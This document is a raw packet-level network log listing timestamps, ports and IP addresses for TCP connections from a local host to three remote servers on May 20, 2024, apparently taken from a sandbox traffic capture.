May 20, 2024 08:53:41.616069078 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:41.616672039 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:41.616729975 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:41.616733074 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:41.616746902 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:41.616779089 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:41.619237900 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:41.619297981 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:41.829849005 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:41.829946041 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:41.830024958 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:41.830024958 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:41.830101013 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:41.830113888 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:41.830122948 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:41.830162048 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:54:20.382392883 CEST	49165	80	192.168.2.22	66.96.161.166
May 20, 2024 08:54:20.389661074 CEST	80	49165	66.96.161.166	192.168.2.22
May 20, 2024 08:54:20.389738083 CEST	49165	80	192.168.2.22	66.96.161.166
May 20, 2024 08:54:20.390882015 CEST	49165	80	192.168.2.22	66.96.161.166
May 20, 2024 08:54:20.416165113 CEST	80	49165	66.96.161.166	192.168.2.22
May 20, 2024 08:54:20.915453911 CEST	80	49165	66.96.161.166	192.168.2.22
May 20, 2024 08:54:20.917538881 CEST	80	49165	66.96.161.166	192.168.2.22
May 20, 2024 08:54:20.917766094 CEST	49165	80	192.168.2.22	66.96.161.166
May 20, 2024 08:54:20.918313026 CEST	49165	80	192.168.2.22	66.96.161.166
May 20, 2024 08:54:20.926152945 CEST	80	49165	66.96.161.166	192.168.2.22
May 20, 2024 08:54:28.506664991 CEST	49166	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:28.541058064 CEST	80	49166	45.33.6.223	192.168.2.22
May 20, 2024 08:54:28.541222095 CEST	49166	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:28.541707993 CEST	49166	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:28.557454109 CEST	80	49166	45.33.6.223	192.168.2.22
May 20, 2024 08:54:29.088994026 CEST	80	49166	45.33.6.223	192.168.2.22
May 20, 2024 08:54:29.089004040 CEST	80	49166	45.33.6.223	192.168.2.22
May 20, 2024 08:54:29.089054108 CEST	49166	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:29.105802059 CEST	49166	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:29.113296032 CEST	80	49166	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.155488968 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.160594940 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.160660028 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.160804987 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.177855968 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.700171947 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.700248003 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.702236891 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.702285051 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.706986904 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.707031012 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.712115049 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.712131023 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.712168932 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.712186098 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.721599102 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.721647978 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.725428104 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.725444078 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.725492954 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.725509882 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.733045101 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.733062029 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.733076096 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.733107090 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.733123064 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.904156923 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.904230118 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.905109882 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.905128002 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.905167103 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.905185938 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.906119108 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.906136036 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.906171083 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.906187057 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.907129049 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.907145977 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.907160044 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.907181978 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.907200098 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.908086061 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.908108950 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.908138037 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.908153057 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.909070015 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.909086943 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.909121990 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.909137964 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.909977913 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.909996033 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.910029888 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.910046101 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.910819054 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.910835981 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.910871029 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.910887957 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.911633968 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.911650896 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.911664009 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.911684990 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.911700964 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.956861019 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.956932068 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.977929115 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.977946043 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.978131056 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.978825092 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.978842020 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.978857040 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.978871107 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.978879929 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.978885889 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.978892088 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.978910923 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.978924036 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.979614019 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.979630947 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.979645014 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.979659081 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.979670048 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.979682922 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.979691029 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.980484962 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.980501890 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.980535984 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.980551004 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.981255054 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.981270075 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.981308937 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.981317043 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.996162891 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.996177912 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.996298075 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.996298075 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.996959925 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.996975899 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.996989965 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:30.997004032 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.997013092 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:30.997030020 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.002247095 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002262115 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002274990 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002290010 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002301931 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.002305984 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002315044 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.002322912 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002331972 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.002341986 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.002356052 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.002450943 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002466917 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002480984 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002492905 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.002497911 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002501965 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.002513885 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002515078 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.002530098 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002535105 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.002545118 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.002547026 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002563000 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.002563000 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.002587080 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.002613068 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.003272057 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.003310919 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.003813028 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.003858089 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.003885031 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.003922939 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.003978968 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.004018068 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.004060984 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.004122019 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.004350901 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.004757881 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.004801989 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.011003017 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.011018991 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.011091948 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.011091948 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.011291981 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.011347055 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.011428118 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.011497021 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.012245893 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.012262106 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.012275934 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.012290955 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.012295961 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.012305021 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.012307882 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.012326002 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.012343884 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.013788939 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.013804913 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.013819933 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.013843060 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.013843060 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.014421940 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.014437914 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.014452934 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.014468908 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.014477968 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.014488935 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.015111923 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.015126944 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.015157938 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.015167952 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.016062021 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.016076088 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.016113043 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.016113043 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.016829014 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.016844034 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.016879082 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.016879082 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.017700911 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.017718077 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.017730951 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.017755032 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.017770052 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.022068024 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.022083998 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.022110939 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.022125006 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.022135019 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.022135019 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.022145033 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.022156000 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.023761988 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.023777962 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.023792982 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.023807049 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.023822069 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.023837090 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.023848057 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.023861885 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.024732113 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.024748087 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.024763107 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.024779081 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.024787903 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.024792910 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.024799109 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.024812937 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.024827003 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.025687933 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.025702000 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.025716066 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.025729895 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.025734901 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.025744915 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.025768042 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.026671886 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.026740074 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.027184963 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.027220964 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.027244091 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.027255058 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.027266026 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.027288914 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.027296066 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.027323008 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.027333021 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.027358055 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.027368069 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.027400017 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.027633905 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.027673960 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.027688980 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.027709007 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.027715921 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.027743101 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.027754068 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.027776957 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.027786016 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.027811050 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.027822018 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.027853966 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.028513908 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.028546095 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.028568029 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.028580904 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.028599024 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.028614044 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.028619051 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.028649092 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.028656006 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.028692961 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.028711081 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.028744936 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.028763056 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.028778076 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.028778076 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.028811932 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.028820992 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.028852940 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.029186964 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.029222012 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.029242992 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.029254913 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.029925108 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.029957056 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.029982090 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.029989958 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.029993057 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030024052 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.030028105 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030056953 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.030065060 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030091047 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.030098915 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030124903 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.030132055 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030158997 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.030167103 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030196905 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030210018 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.030246019 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.030262947 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030277967 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.030287027 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030313015 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.030323029 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030348063 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.030355930 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030385017 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.030390024 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030426979 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030873060 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.030906916 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.030929089 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.030944109 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.064116955 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.064153910 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.064182997 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.064215899 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.064250946 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.064250946 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.064266920 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.064280987 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.064280987 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.064301968 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.064321995 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.064337015 CEST	80	49167	45.33.6.223	192.168.2.22
May 20, 2024 08:54:31.064361095 CEST	49167	80	192.168.2.22	45.33.6.223
May 20, 2024 08:54:31.064369917 CEST	80	49167	45.33.6.223	192.168.2.22
